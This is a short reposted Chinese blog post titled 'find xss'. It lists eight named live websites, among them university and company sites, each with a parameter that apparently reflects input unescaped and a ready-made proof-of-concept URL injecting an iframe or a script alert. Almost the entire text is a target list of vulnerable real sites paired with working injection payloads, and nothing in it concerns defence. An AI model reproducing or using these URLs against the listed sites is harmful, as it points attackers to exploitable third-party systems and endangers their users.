find xss

from :http://blog.sina.com.cn/s/blog_68d342d90100nh7b.html

什么是XSS跨站攻击:
http://baike.baidu.com/view/50325.htm
-----------------------------------------------------------------------
存在XSS跨站漏洞的网址:
http://sqxhsp.com/news.asp?cat_id=11&types=企业新闻
XSS跨站漏洞测试页面:
http://sqxhsp.com/sever.asp?cat_id=58&types=<iframe src=http://blog.sina.com.cn/aboutshisan width=600 height=400></iframe>
-----------------------------------------------------------------------
存在XSS跨站漏洞的网址:
http://www.zyfw365.com/newscontent.aspx?myclass=就业形式&title=就业形势好转 2010年新增就业目标900万人&infoid=435
XSS跨站漏洞测试页面:
http://www.zyfw365.com/newscontent.aspx?myclass=<iframe src=http://blog.sina.com.cn/aboutshisan width=600 heightt=400></iframe>&title=就业形势好转 2010年新增就业目标900万人&infoid=435
-----------------------------------------------------------------------
存在XSS跨站漏洞的网址:
http://manage.hncc.edu.cn/more.asp?typeid=16&bigclass=
XSS跨站漏洞测试页面:
http://manage.hncc.edu.cn/more.asp?typeid=16&bigclass=<iframe src=http://blog.sina.com.cn/aboutshisan width=600 heightt=400></iframe>
-----------------------------------------------------------------------
存在XSS跨站漏洞的网址:
http://jwc.xjmu.edu.cn/_help/Sorry.aspx?str=
XSS跨站漏洞测试页面:
http://jwc.xjmu.edu.cn/_help/Sorry.aspx?str=<script>alert('silic_tank')</script>
-----------------------------------------------------------------------
存在XSS跨站漏洞的网址:
http://alpas.com/qiye/Product.asp?BigClassName=产品销售
XSS跨站漏洞测试页面:
http://alpas.com/qiye/Product.asp?BigClassName=产品销售<script>alert('silic_tank')</script>
-----------------------------------------------------------------------
存在XSS跨站漏洞的网址:
http://www.yangheyuyang.com/error.asp?msg=
XSS跨站漏洞测试页面:
http://www.yangheyuyang.com/error.asp?msg=<script>alert('silic')</script>
-----------------------------------------------------------------------
存在XSS跨站漏洞的网址:
http://www.3v.cm/error.asp?errmsg=
XSS跨站漏洞测试页面:
http://www.3v.cm/error.asp?errmsg=<script>alert('yf4n')</script>
-----------------------------------------------------------------------
存在XSS跨站漏洞的网址:
http://www.blueidea.com/common/searchbykey.asp?keyword=painter
XSS跨站漏洞测试页面:
http://www.blueidea.com/common/searchbykey.asp?keyword=painter<script>alert('silic')</script>
原文地址:https://www.cnblogs.com/yanhuidj/p/9211889.html